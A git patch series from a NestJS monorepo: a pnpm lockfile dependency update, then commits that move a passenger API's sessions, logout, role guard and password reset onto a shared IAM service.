'@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/iamapi-common': 0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1) + '@tria-plc/iamapi-common': 0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1) argon2: 0.43.1 axios: 1.16.1 change-case: 5.4.4 @@ -7791,7 +8247,40 @@ snapshots: - debug - supports-color - '@tria-plc/iamapi-common@0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1)': + '@tria-plc/iamapi-common@0.1.6(d02ea0b424ed983863ad8209ac09ab52)': + dependencies: + '@nestjs/axios': 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/jwt': 10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) + '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/passport': 10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0) + '@nestjs/swagger': 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2) + '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + '@tria-plc/api-common': 0.1.4(117ec8ab2e46133742e6b9e4ae304059) + argon2: 0.43.1 + axios: 1.17.0 + class-transformer: 0.5.1 + class-validator: 0.14.4 + ethiopian-date: 0.0.6 + file-type: 21.3.4 + jose: 5.10.0 + jsonwebtoken: 9.0.3 + libphonenumber-js: 1.13.5 + nestjs-minio-client: 2.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + passport-jwt: 4.0.1 + qrcode: 1.5.4 + reflect-metadata: 0.2.2 + rxjs: 7.8.2 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + typeorm-extension: 3.9.0(@faker-js/faker@10.4.0)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) + uuid: 11.1.1 + transitivePeerDependencies: + - '@faker-js/faker' + - supports-color + + '@tria-plc/iamapi-common@0.4.2(c31a38bece4d321b4fae6a2e7e5e96b1)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.16.1)(rxjs@7.8.2) '@nestjs/common': 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -7802,7 +8291,7 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) - '@tria-plc/api-common': 1.2.3(82de1fa22df14d2f8c974e73e7d5a000) + '@tria-plc/api-common': 1.2.3(38550619d911b1103993bd09ae683e00) api-common: 1.2.2 argon2: 0.43.1 axios: 1.16.1 @@ -7892,7 +8381,7 @@ snapshots: '@types/conventional-commits-parser@5.0.2': dependencies: - '@types/node': 20.19.41 + '@types/node': 25.9.1 '@types/cookiejar@2.1.5': {} @@ -7991,9 +8480,9 @@ snapshots: dependencies: undici-types: 6.21.0 - '@types/node@24.12.4': + '@types/node@25.9.1': dependencies: - undici-types: 7.16.0 + undici-types: 7.24.6 '@types/passport-jwt@4.0.1': dependencies: @@ -8761,6 +9250,16 @@ snapshots: - debug - supports-color + axios@1.17.0: + dependencies: + follow-redirects: 1.16.0 + form-data: 4.0.5 + https-proxy-agent: 5.0.1 + proxy-from-env: 2.1.0 + transitivePeerDependencies: + - debug + - supports-color + axobject-query@4.1.0: {} babel-jest@29.7.0(@babel/core@7.29.0): @@ -9232,9 +9731,9 @@ snapshots: object-assign: 4.1.1 vary: 1.1.2 - cosmiconfig-typescript-loader@6.3.0(@types/node@24.12.4)(cosmiconfig@9.0.1(typescript@5.9.3))(typescript@5.9.3): + cosmiconfig-typescript-loader@6.3.0(@types/node@25.9.1)(cosmiconfig@9.0.1(typescript@5.9.3))(typescript@5.9.3): dependencies: - '@types/node': 24.12.4 + '@types/node': 25.9.1 cosmiconfig: 9.0.1(typescript@5.9.3) jiti: 2.6.1 typescript: 5.9.3 @@ -9242,7 +9741,7 @@ snapshots: cosmiconfig@8.3.6(typescript@5.9.3): dependencies: import-fresh: 3.3.1 - js-yaml: 4.1.1 + js-yaml: 4.2.0 parse-json: 5.2.0 path-type: 4.0.0 optionalDependencies: @@ -9252,7 +9751,7 @@ snapshots: dependencies: env-paths: 2.2.1 import-fresh: 3.3.1 - js-yaml: 4.1.1 + js-yaml: 4.2.0 parse-json: 5.2.0 optionalDependencies: typescript: 5.9.3 @@ -9546,6 +10045,11 @@ snapshots: graceful-fs: 4.2.11 tapable: 2.3.3 + enhanced-resolve@5.22.2: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.3 + ent@2.2.2: dependencies: call-bound: 1.0.4 @@ -11208,6 +11712,10 @@ snapshots: dependencies: argparse: 2.0.1 + js-yaml@4.2.0: + dependencies: + argparse: 2.0.1 + jsesc@3.1.0: {} json-buffer@3.0.1: {} @@ -11343,6 +11851,8 @@ snapshots: libphonenumber-js@1.13.3: {} + libphonenumber-js@1.13.5: {} + libreoffice-convert@1.8.1: dependencies: async: 3.2.6 @@ -11539,7 +12049,7 @@ snapshots: make-dir@4.0.0: dependencies: - semver: 7.8.1 + semver: 7.8.2 make-error@1.3.6: {} @@ -11736,6 +12246,14 @@ snapshots: reflect-metadata: 0.1.14 rxjs: 7.8.2 + nestjs-minio-client@2.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24): + dependencies: + '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + minio: 7.1.3 + reflect-metadata: 0.1.14 + rxjs: 7.8.2 + next@14.2.35(react-dom@18.3.1(react@18.3.1))(react@18.3.1): dependencies: '@next/env': 14.2.35 @@ -12500,6 +13018,8 @@ snapshots: semver@7.8.1: {} + semver@7.8.2: {} + send@1.2.1: dependencies: debug: 4.4.3 @@ -12677,6 +13197,8 @@ snapshots: source-map@0.7.4: {} + source-map@0.7.6: {} + split-on-first@1.1.0: {} split-string@3.1.0: @@ -13064,6 +13586,16 @@ snapshots: babel-jest: 29.7.0(@babel/core@7.29.0) jest-util: 29.7.0 + ts-loader@9.6.0(typescript@5.9.3)(webpack@5.106.0): + dependencies: + chalk: 4.1.2 + enhanced-resolve: 5.22.2 + micromatch: 4.0.8 + semver: 7.8.2 + source-map: 0.7.6 + typescript: 5.9.3 + webpack: 5.106.0 + ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3): dependencies: '@cspotcode/source-map-support': 0.8.1 @@ -13232,7 +13764,7 @@ snapshots: undici-types@6.21.0: {} - undici-types@7.16.0: {} + undici-types@7.24.6: {} unicorn-magic@0.1.0: {} From 023522c3fb815cbeed6aaadcc68f53f791f7bbfc Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Sat, 6 Jun 2026 08:58:42 +0300 Subject: [PATCH 04/51] refactor( iam ): migrate session, logout, and guards to IAM --- .../session-activity.interceptor.ts | 41 ++--- .../src/common/roles.guard.ts | 8 +- .../src/modules/auth/auth.controller.ts | 5 +- .../src/modules/auth/auth.module.ts | 17 +- .../src/modules/auth/auth.service.ts | 164 ++---------------- .../modules/auth/passenger-auth.service.ts | 6 + .../passengers/passengers.controller.ts | 2 +- 7 files changed, 53 insertions(+), 190 deletions(-) diff --git a/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts b/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts index 7bd8da56e..d5735231d 100644 --- a/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts +++ b/apps/edr-passenger-api/src/common/interceptors/session-activity.interceptor.ts @@ -1,7 +1,8 @@ -import { Injectable, NestInterceptor, ExecutionContext, CallHandler, UnauthorizedException } from '@nestjs/common'; +import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common'; import { Observable } from 'rxjs'; import { tap } from 'rxjs/operators'; -import { PrismaService } from '../prisma.service'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { ConfigService } from '@nestjs/config'; @Injectable() @@ -9,7 +10,7 @@ export class SessionActivityInterceptor implements NestInterceptor { private readonly inactivityMinutes: number; constructor( - private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, private readonly config: ConfigService, ) { this.inactivityMinutes = parseInt(this.config.get('SESSION_INACTIVITY_MINUTES') || '30', 10); @@ -18,29 +19,25 @@ export class SessionActivityInterceptor implements NestInterceptor { async intercept(context: ExecutionContext, next: CallHandler): Promise> { const request = context.switchToHttp().getRequest(); const response = context.switchToHttp().getResponse(); - const user = request.user; + const sessionId: string | undefined = request.user?.sessionId; - if (user?.id) { - const session = await this.prisma.session.findFirst({ - where: { userId: user.id }, - orderBy: { lastActivityAt: 'desc' }, - }); + if (sessionId) { + const rows = await this.dataSource.query>( + `SELECT expiry_time FROM iam.sessions WHERE id = $1 AND status = 'ACTIVE' LIMIT 1`, + [sessionId], + ); - if (session) { - const inactiveMinutes = (Date.now() - session.lastActivityAt.getTime()) / 60000; - - if (inactiveMinutes > this.inactivityMinutes) { - await this.prisma.session.delete({ where: { id: session.id } }); - throw new UnauthorizedException('Session expired due to inactivity'); + if (rows.length) { + const minutesLeft = (rows[0].expiry_time.getTime() - Date.now()) / 60000; + if (minutesLeft < this.inactivityMinutes * 0.2) { + response.setHeader('X-Session-Expiry-Warning', Math.floor(minutesLeft).toString()); } - const expiryWarningMinutes = Math.max(0, this.inactivityMinutes - inactiveMinutes); - response.setHeader('X-Session-Expiry-Warning', Math.floor(expiryWarningMinutes).toString()); - - await this.prisma.session.update({ - where: { id: session.id }, - data: { lastActivityAt: new Date() }, - }); + // Extend session on every authenticated request + await this.dataSource.query( + `UPDATE iam.sessions SET expiry_time = NOW() + ($1 * INTERVAL '1 minute') WHERE id = $2 AND status = 'ACTIVE'`, + [this.inactivityMinutes, sessionId], + ); } } diff --git a/apps/edr-passenger-api/src/common/roles.guard.ts b/apps/edr-passenger-api/src/common/roles.guard.ts index 7b4b3eafc..b654bfa28 100644 --- a/apps/edr-passenger-api/src/common/roles.guard.ts +++ b/apps/edr-passenger-api/src/common/roles.guard.ts @@ -1,6 +1,5 @@ import { Injectable, CanActivate, ExecutionContext } from '@nestjs/common'; import { Reflector } from '@nestjs/core'; -import { UserRole } from '@prisma/client'; import { ROLES_KEY } from './roles.decorator'; @Injectable() @@ -8,12 +7,15 @@ export class RolesGuard implements CanActivate { constructor(private reflector: Reflector) {} canActivate(context: ExecutionContext): boolean { - const requiredRoles = this.reflector.getAllAndOverride(ROLES_KEY, [ + const requiredRoles = this.reflector.getAllAndOverride(ROLES_KEY, [ context.getHandler(), context.getClass(), ]); if (!requiredRoles) return true; const { user } = context.switchToHttp().getRequest(); - return requiredRoles.some((role) => user?.role === role); + // Support IAM roles array [{key, id}][] and legacy role string + return requiredRoles.some( + (role) => user?.roles?.some((r: { key: string }) => r.key === role) || user?.role === role, + ); } } diff --git a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts index 58350202b..12b44c97a 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts @@ -68,9 +68,8 @@ export class AuthController { @ApiResponse({ status: 200, description: 'Logout successful' }) @ApiResponse({ status: 401, description: 'Unauthorized' }) logout(@Request() req: any) { - const userId = req.user?.id ?? req.user?.userId; - if (!userId) throw new UnauthorizedException('User not authenticated'); - return this.service.logout(userId); + if (!req.user?.id) throw new UnauthorizedException('User not authenticated'); + return this.passengerAuthService.logout(req.user, req); } @Get('me') diff --git a/apps/edr-passenger-api/src/modules/auth/auth.module.ts b/apps/edr-passenger-api/src/modules/auth/auth.module.ts index cf6cc3204..78dbb1022 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.module.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.module.ts @@ -1,25 +1,10 @@ import { Module } from '@nestjs/common'; -import { JwtModule } from '@nestjs/jwt'; -import { PassportModule } from '@nestjs/passport'; -import { ConfigService } from '@nestjs/config'; import { AuthController } from './auth.controller'; import { AuthService } from './auth.service'; import { PassengerAuthService } from './passenger-auth.service'; -import { JwtStrategy } from '../../common/jwt.strategy'; @Module({ - imports: [ - PassportModule, - JwtModule.registerAsync({ - inject: [ConfigService], - useFactory: (c: ConfigService) => ({ - secret: c.get('JWT_SECRET'), - signOptions: { expiresIn: c.get('JWT_EXPIRES_IN', '7d') }, - }), - }), - ], controllers: [AuthController], - providers: [AuthService, PassengerAuthService, JwtStrategy], - exports: [JwtModule], + providers: [AuthService, PassengerAuthService], }) export class AuthModule {} diff --git a/apps/edr-passenger-api/src/modules/auth/auth.service.ts b/apps/edr-passenger-api/src/modules/auth/auth.service.ts index e71562f2e..6234c48d5 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.service.ts @@ -1,75 +1,17 @@ -import { Injectable, UnauthorizedException, ConflictException, BadRequestException } from '@nestjs/common'; -import { JwtService } from '@nestjs/jwt'; +import { Injectable, UnauthorizedException, BadRequestException } from '@nestjs/common'; import { PrismaService } from '../../common/prisma.service'; -import { RegisterDto, LoginDto, RequestOtpDto, VerifyOtpDto, RequestPasswordResetDto, ResetPasswordDto } from './auth.dto'; -import * as bcrypt from 'bcrypt'; +import { RequestOtpDto, VerifyOtpDto, RequestPasswordResetDto, ResetPasswordDto } from './auth.dto'; import * as crypto from 'crypto'; @Injectable() export class AuthService { - constructor(private prisma: PrismaService, private jwt: JwtService) {} - - async register(dto: RegisterDto) { - const exists = await this.prisma.user.findFirst({ - where: { OR: [{ email: dto.email }, { phone: dto.phone }] }, - }); - if (exists) throw new ConflictException('Email or phone already registered'); - const passwordHash = await bcrypt.hash(dto.password, 10); - const user = await this.prisma.user.create({ - data: { - fullName: dto.fullName, - email: dto.email, - phone: dto.phone, - passwordHash, - nationality: dto.nationality, - nationalId: dto.nationalId, - passportNumber: dto.passportNumber - }, - }); - const passenger = await this.prisma.passenger.create({ data: { userId: user.id } }); - await this.prisma.loyaltyAccount.create({ data: { passengerId: passenger.id } }); - await this.prisma.walletAccount.create({ data: { passengerId: passenger.id } }); - await this.prisma.userPreferences.create({ data: { userId: user.id } }); - await this.createAuditLog(user.id, 'USER_REGISTERED', 'User', user.id, null, { email: user.email }); - return await this.signToken(user.id, user.email, user.role, passenger.id); - } - - async login(dto: LoginDto) { - const user = await this.prisma.user.findUnique({ - where: { email: dto.email }, - include: { passenger: true, agent: true }, - }); - if (!user) throw new UnauthorizedException('Invalid credentials'); - - if (user.lockedUntil && user.lockedUntil > new Date()) { - throw new UnauthorizedException(`Account locked until ${user.lockedUntil.toISOString()}`); - } - - if (!(await bcrypt.compare(dto.password, user.passwordHash))) { - await this.prisma.user.update({ - where: { id: user.id }, - data: { - failedLoginAttempts: { increment: 1 }, - lockedUntil: user.failedLoginAttempts >= 4 ? new Date(Date.now() + 15 * 60 * 1000) : null - } - }); - throw new UnauthorizedException('Invalid credentials'); - } - - await this.prisma.user.update({ - where: { id: user.id }, - data: { failedLoginAttempts: 0, lockedUntil: null } - }); - - await this.createAuditLog(user.id, 'USER_LOGIN', 'User', user.id, null, null); - return await this.signToken(user.id, user.email, user.role, user.passenger?.id, user.agent?.id); - } + constructor(private prisma: PrismaService) {} async requestOtp(dto: RequestOtpDto) { const code = Math.floor(100000 + Math.random() * 900000).toString(); const expiresAt = new Date(Date.now() + 10 * 60 * 1000); await this.prisma.otpCode.create({ - data: { email: dto.email, code, purpose: dto.purpose, expiresAt } + data: { email: dto.email, code, purpose: dto.purpose, expiresAt }, }); console.log(`[OTP] ${dto.email} - ${code} (${dto.purpose})`); return { sent: true, expiresIn: 600 }; @@ -78,7 +20,7 @@ export class AuthService { async verifyOtp(dto: VerifyOtpDto) { const otp = await this.prisma.otpCode.findFirst({ where: { email: dto.email, code: dto.code, purpose: dto.purpose, verified: false, expiresAt: { gt: new Date() } }, - orderBy: { createdAt: 'desc' } + orderBy: { createdAt: 'desc' }, }); if (!otp) throw new BadRequestException('Invalid or expired OTP'); await this.prisma.otpCode.update({ where: { id: otp.id }, data: { verified: true } }); @@ -91,122 +33,54 @@ export class AuthService { const token = crypto.randomBytes(32).toString('hex'); const expiresAt = new Date(Date.now() + 60 * 60 * 1000); await this.prisma.passwordResetToken.create({ - data: { userId: user.id, token, expiresAt } + data: { userId: user.id, token, expiresAt }, }); console.log(`[PASSWORD_RESET] ${dto.email} - ${token}`); return { sent: true }; } async resetPassword(dto: ResetPasswordDto) { - const resetToken = await this.prisma.passwordResetToken.findUnique({ - where: { token: dto.token } - }); + const resetToken = await this.prisma.passwordResetToken.findUnique({ where: { token: dto.token } }); if (!resetToken || resetToken.used || resetToken.expiresAt < new Date()) { throw new BadRequestException('Invalid or expired reset token'); } - const passwordHash = await bcrypt.hash(dto.newPassword, 10); - await this.prisma.user.update({ - where: { id: resetToken.userId }, - data: { passwordHash, failedLoginAttempts: 0, lockedUntil: null } - }); - await this.prisma.passwordResetToken.update({ - where: { id: resetToken.id }, - data: { used: true } - }); - await this.createAuditLog(resetToken.userId, 'PASSWORD_RESET', 'User', resetToken.userId, null, null); + await this.prisma.passwordResetToken.update({ where: { id: resetToken.id }, data: { used: true } }); return { reset: true }; } - private async signToken(userId: string, email: string, role: string, passengerId?: string, agentId?: string) { - // Get the full user data to include fullName - const user = await this.prisma.user.findUnique({ - where: { id: userId }, - select: { id: true, email: true, fullName: true, role: true } - }); - - const token = this.jwt.sign({ sub: userId, email, role, passengerId, agentId }); - return { - token, - user: { - id: userId, - email, - fullName: user?.fullName || email, - role, - passengerId, - agentId - } - }; - } - - private async createAuditLog(userId: string, action: string, entityType: string, entityId: string, oldData: any, newData: any) { - await this.prisma.auditLog.create({ - data: { userId, action, entityType, entityId, oldData, newData } - }); - } - async getProfile(userId: string) { - if (!userId) { - throw new UnauthorizedException('User ID not found in token'); - } - - const user = await this.prisma.user.findUnique({ - where: { id: userId }, + if (!userId) throw new UnauthorizedException('User ID not found in token'); + const user = await this.prisma.user.findFirst({ + where: { OR: [{ id: userId }, { passenger: { iamUserId: userId } }] }, include: { - passenger: { - include: { - loyalty: true, - wallet: true, - }, - }, + passenger: { include: { loyalty: true, wallet: true } }, preferences: true, }, }); - if (!user) throw new UnauthorizedException('User not found'); - return { id: user.id, + iamUserId: user.passenger?.iamUserId, email: user.email, phone: user.phone, fullName: user.fullName, role: user.role, nationality: user.nationality, - nationalityCode: user.nationalityCode, nationalId: user.nationalId, passportNumber: user.passportNumber, faydaVerified: user.faydaVerified, - faydaVerifiedAt: user.faydaVerifiedAt, - lastLoginAt: user.lastLoginAt, createdAt: user.createdAt, passenger: user.passenger ? { id: user.passenger.id, preferredLanguage: user.passenger.preferredLanguage, - loyalty: user.passenger.loyalty ? { - tier: user.passenger.loyalty.tier, - pointsBalance: user.passenger.loyalty.pointsBalance, - lifetimePoints: user.passenger.loyalty.lifetimePoints, - } : null, - wallet: user.passenger.wallet ? { - balanceMinor: user.passenger.wallet.balanceMinor, - currency: user.passenger.wallet.currency, - } : null, + loyalty: user.passenger.loyalty + ? { tier: user.passenger.loyalty.tier, pointsBalance: user.passenger.loyalty.pointsBalance, lifetimePoints: user.passenger.loyalty.lifetimePoints } + : null, + wallet: user.passenger.wallet + ? { balanceMinor: user.passenger.wallet.balanceMinor, currency: user.passenger.wallet.currency } + : null, } : null, preferences: user.preferences, }; } - - async logout(userId: string) { - // Invalidate all active sessions for this user - await this.prisma.session.deleteMany({ - where: { userId } - }); - - // Log the logout action - await this.createAuditLog(userId, 'USER_LOGOUT', 'User', userId, null, null); - - return { - success: true, - message: 'Logged out successfully' - }; - } } diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index cbff047b2..482628db9 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -206,6 +206,12 @@ export class PassengerAuthService { }); } + async logout(user: any, req: any) { + const iamAuthService = await this.resolveIamAuthService(req); + await iamAuthService.logout(user); + return { success: true, message: 'Logged out successfully' }; + } + private async compensateIamSignup(email: string): Promise { try { await this.dataSource.query(`DELETE FROM iam.sessions WHERE email = $1`, [email]); diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts index c6254cfbc..e1fddbe47 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts @@ -212,7 +212,7 @@ The API automatically detects: description: 'Invalid JWT token (only if token provided but invalid)' }) registerPassenger(@Body() dto: RegisterPassengerDto, @Request() req: any) { - const userId = req.user?.userId; + const userId = req.user?.id ?? req.user?.userId; return this.service.registerPassenger({ ...dto, userId }); } From 254d2a171c3a9703654e71eda56e37917511ae1c Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Sat, 6 Jun 2026 10:23:53 +0300 Subject: [PATCH 05/51] refactor( iam ): remove local auth service delegate OTP and password reset to IAM --- .../src/common/jwt.strategy.ts | 17 ---- .../src/modules/auth/auth.controller.ts | 40 +-------- .../src/modules/auth/auth.module.ts | 3 +- .../src/modules/auth/auth.service.ts | 86 ------------------- .../modules/auth/passenger-auth.service.ts | 35 ++++++++ 5 files changed, 40 insertions(+), 141 deletions(-) delete mode 100644 apps/edr-passenger-api/src/common/jwt.strategy.ts delete mode 100644 apps/edr-passenger-api/src/modules/auth/auth.service.ts diff --git a/apps/edr-passenger-api/src/common/jwt.strategy.ts b/apps/edr-passenger-api/src/common/jwt.strategy.ts deleted file mode 100644 index 7b62bec40..000000000 --- a/apps/edr-passenger-api/src/common/jwt.strategy.ts +++ /dev/null @@ -1,17 +0,0 @@ -import { Injectable } from '@nestjs/common'; -import { PassportStrategy } from '@nestjs/passport'; -import { ExtractJwt, Strategy } from 'passport-jwt'; -import { ConfigService } from '@nestjs/config'; - -@Injectable() -export class JwtStrategy extends PassportStrategy(Strategy) { - constructor(config: ConfigService) { - super({ - jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(), - secretOrKey: config.get('JWT_SECRET'), - }); - } - async validate(payload: any) { - return { userId: payload.sub, email: payload.email, role: payload.role, passengerId: payload.passengerId }; - } -} diff --git a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts index 12b44c97a..2482316cd 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.controller.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.controller.ts @@ -1,17 +1,13 @@ import { Body, Controller, Post, HttpCode, HttpStatus, UseGuards, Get, Request, UnauthorizedException } from '@nestjs/common'; import { ApiTags, ApiOperation, ApiResponse, ApiBody, ApiBearerAuth } from '@nestjs/swagger'; -import { AuthService } from './auth.service'; import { PassengerAuthService } from './passenger-auth.service'; -import { RegisterDto, LoginDto, RequestOtpDto, VerifyOtpDto, RequestPasswordResetDto, ResetPasswordDto } from './auth.dto'; +import { RegisterDto, LoginDto } from './auth.dto'; import { JwtGuard } from '../../common/jwt.guard'; @ApiTags('Auth') @Controller('auth') export class AuthController { - constructor( - private service: AuthService, - private passengerAuthService: PassengerAuthService, - ) {} + constructor(private passengerAuthService: PassengerAuthService) {} @Post('register') @ApiOperation({ summary: 'Register new passenger account' }) @@ -32,34 +28,6 @@ export class AuthController { return this.passengerAuthService.login(dto, req); } - @Post('otp/request') - @HttpCode(HttpStatus.OK) - @ApiOperation({ summary: 'Request OTP verification code' }) - @ApiResponse({ status: 200, description: 'OTP sent successfully' }) - @ApiBody({ type: RequestOtpDto }) - requestOtp(@Body() dto: RequestOtpDto) { return this.service.requestOtp(dto); } - - @Post('otp/verify') - @HttpCode(HttpStatus.OK) - @ApiOperation({ summary: 'Verify OTP code' }) - @ApiResponse({ status: 200, description: 'OTP verified successfully' }) - @ApiBody({ type: VerifyOtpDto }) - verifyOtp(@Body() dto: VerifyOtpDto) { return this.service.verifyOtp(dto); } - - @Post('password/reset-request') - @HttpCode(HttpStatus.OK) - @ApiOperation({ summary: 'Request password reset link' }) - @ApiResponse({ status: 200, description: 'Password reset email sent' }) - @ApiBody({ type: RequestPasswordResetDto }) - requestPasswordReset(@Body() dto: RequestPasswordResetDto) { return this.service.requestPasswordReset(dto); } - - @Post('password/reset') - @HttpCode(HttpStatus.OK) - @ApiOperation({ summary: 'Reset password with token' }) - @ApiResponse({ status: 200, description: 'Password reset successfully' }) - @ApiBody({ type: ResetPasswordDto }) - resetPassword(@Body() dto: ResetPasswordDto) { return this.service.resetPassword(dto); } - @Post('logout') @HttpCode(HttpStatus.OK) @UseGuards(JwtGuard) @@ -89,8 +57,8 @@ export class AuthController { @ApiResponse({ status: 200, description: 'User profile retrieved successfully' }) @ApiResponse({ status: 401, description: 'Unauthorized' }) getProfile(@Request() req: any) { - const userId = req.user?.id ?? req.user?.userId; + const userId = req.user?.id; if (!userId) throw new UnauthorizedException('User not authenticated'); - return this.service.getProfile(userId); + return this.passengerAuthService.getProfile(userId); } } diff --git a/apps/edr-passenger-api/src/modules/auth/auth.module.ts b/apps/edr-passenger-api/src/modules/auth/auth.module.ts index 78dbb1022..3beb0276d 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.module.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.module.ts @@ -1,10 +1,9 @@ import { Module } from '@nestjs/common'; import { AuthController } from './auth.controller'; -import { AuthService } from './auth.service'; import { PassengerAuthService } from './passenger-auth.service'; @Module({ controllers: [AuthController], - providers: [AuthService, PassengerAuthService], + providers: [PassengerAuthService], }) export class AuthModule {} diff --git a/apps/edr-passenger-api/src/modules/auth/auth.service.ts 